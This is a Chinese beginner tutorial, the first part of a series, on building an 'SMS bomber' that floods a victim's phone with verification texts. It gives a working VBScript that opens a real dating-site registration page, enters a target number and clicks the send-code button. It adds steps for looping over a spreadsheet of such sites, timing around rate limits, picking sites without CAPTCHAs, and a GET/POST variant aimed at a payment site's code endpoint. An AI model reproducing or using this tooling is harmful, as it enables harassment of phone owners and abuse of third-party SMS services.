一分钟曝光《短信轰炸机》是如何轰炸你的《上》

想写这篇文章很久了，但是由于工作上的事情耽搁到现在。
温馨提示：本片文章是为 零基础朋友 的科普文章，所以采用了VBS脚本语言，可以运行在常见的windows平台，不比像高级语言那样还要安装编程软件并配置编程环境。我没求你看，不喜勿喷。

开始！
短信轰炸机的工作步骤如下：

1、收集所有能发送手机验证码的网站。

2、打开网站注册页面，按F12进入开发者模式
以 QQ浏览器 + 4季加元 为例。按顺序点击图中3个红框部分。

在右边栏即可得到控件的ID,Name，Class ，TagName等信息。根据网站的不同，或许的信息也不同，本例用使用ID属性。
ID：唯一表示
Name：可重名 数组
Class：可重名 数组
TagName：可重名 数组

我们得到了<手机号ID>，同理得到<发送>按钮的ID。
PS：此网页需要输入11位手机号，并按下键才会显示<发送>按钮。结果如下：

3、编写程序完成一条注册信息的发送
在桌面上右键，新建TXT文本（记事本）。然后右键->重命名。将其改为 1.VBS。

添加代码，代码都有解释，如果想深究的话，就自己百度一下。都是最最基础的东西。

MsgBox "先打开IE浏览器！！！" '防止有的机器不能自动加载IE浏览器。需手动打开。PhoneNumber = InputBox("请输入手机号") '获取手机号If IsEmpty(PhoneNumber) Then     MsgBox "Cancel"      Wscript.quit '取消就退出End If Set WshShell=createobject("wscript.shell")'创建脚本对象Set IE = CreateObject("InternetExplorer.Application") '创建IE浏览器IE.Visible = True ' 可见   不想看见就 = False。'复制注册页面的网址IE.Navigate "http://reg.jiayuan.com/signup/fillbasic.php?bd=400&sex=undefined&year=%E8%AF%B7%E9%80%89%E6%8B%A9&month=NaN&day=%E8%AF%B7%E9%80%89%E6%8B%A9&province=44&city=4401&marriage=1"j=0 Do Until IE.ReadyState = 4 ' 4就是已经加载完成的意思。    WScript.Sleep 100    if j>50 then  '这里我们设置超时时间        Wscript.quit ' 超过 50*100毫秒 =5秒  还没加载好，就退出 说明你家网太烂了。洗洗睡吧。    end if    j=j+1Loop'如果加载好了，就把输入的手机号填进来。有心的小伙伴会发现，这不是就是自动登录吗    ，聪明，可惜没有奖励。IE.Document.getElementById("phoneNumber").innerText = PhoneNumber' 加载手机号IE.Document.getElementById("phoneNumber").focus'获取焦点,PS 此网站需要失去焦点才会显示 <发送按钮>WshShell.SendKeys "{TAB}" ' 模拟按下 TAB键IE.Document.getElementById("get").click ' 点击<发送>按钮。Set IE= nothing '回收资源

4、如果你按照上面的步骤来，将会成功发送出一条注册短信。界面如下：

5、程序调试成功后，把步骤1的网址，放到EXCEL表格文件中，然后循环发送。

以上为短信轰炸机的最基本原理。

附篇：
PS1：每个<发送>按钮 网站默认等待60秒才能发第二个。所有表格发送完一次后，建议等待60秒。

PS2：有的网站有节点有的只有ID属性，有的只有name属性，有的只有Class属性。要学会找出 辨别度 高的那个。

PS3：此方法只适合用在没有验证码的网站，需要输入验证的网站无法使用。破解验证码的方法就不适合跟大家探讨了。毕竟现在轰炸机变少的主要原因就是很多网站加了验证码。这也是最近我感写这篇文章的原因。因为可供新手用的网站资源不多了。

PS4：还有另外一种运行原理。使用GET、POST方法提交服务器。但是现在由于很多网站加了<校验算法>和<时间戳>。导致普通的GET 、POST 方法提交失败。

url= "https://www.baidu.com/s?wd=123" 'GET的网址  本例为 百度搜索 WD为提交的搜索框内容 = 123 Dim httpSet http = CreateObject("Msxml2.ServerXMLHTTP") '定义HTTP对象http.open "GET",url, False '设置提交参数http.send' 提交msgbox http.status '返回200 表示成功msgbox http.responsetext'显示收到的内容'以下为我提交某注册页面的请求。不难看出在手机号不变的情况下，网站在最后加了时间戳。导致发送注册短信失败。'https://www.cmpay.com/user/service/sendchekno.xhtml?viewCode=json&MBL_NO=19876543211&VER_CD=yuvu&OP_CD=1025&r=0.2718405714920715'https://www.cmpay.com/user/service/sendchekno.xhtml?viewCode=json&MBL_NO=19876543211&VER_CD=btcn&OP_CD=1025&r=0.3467748424199253

由于篇幅有限，完整版代码将发表在文章续篇。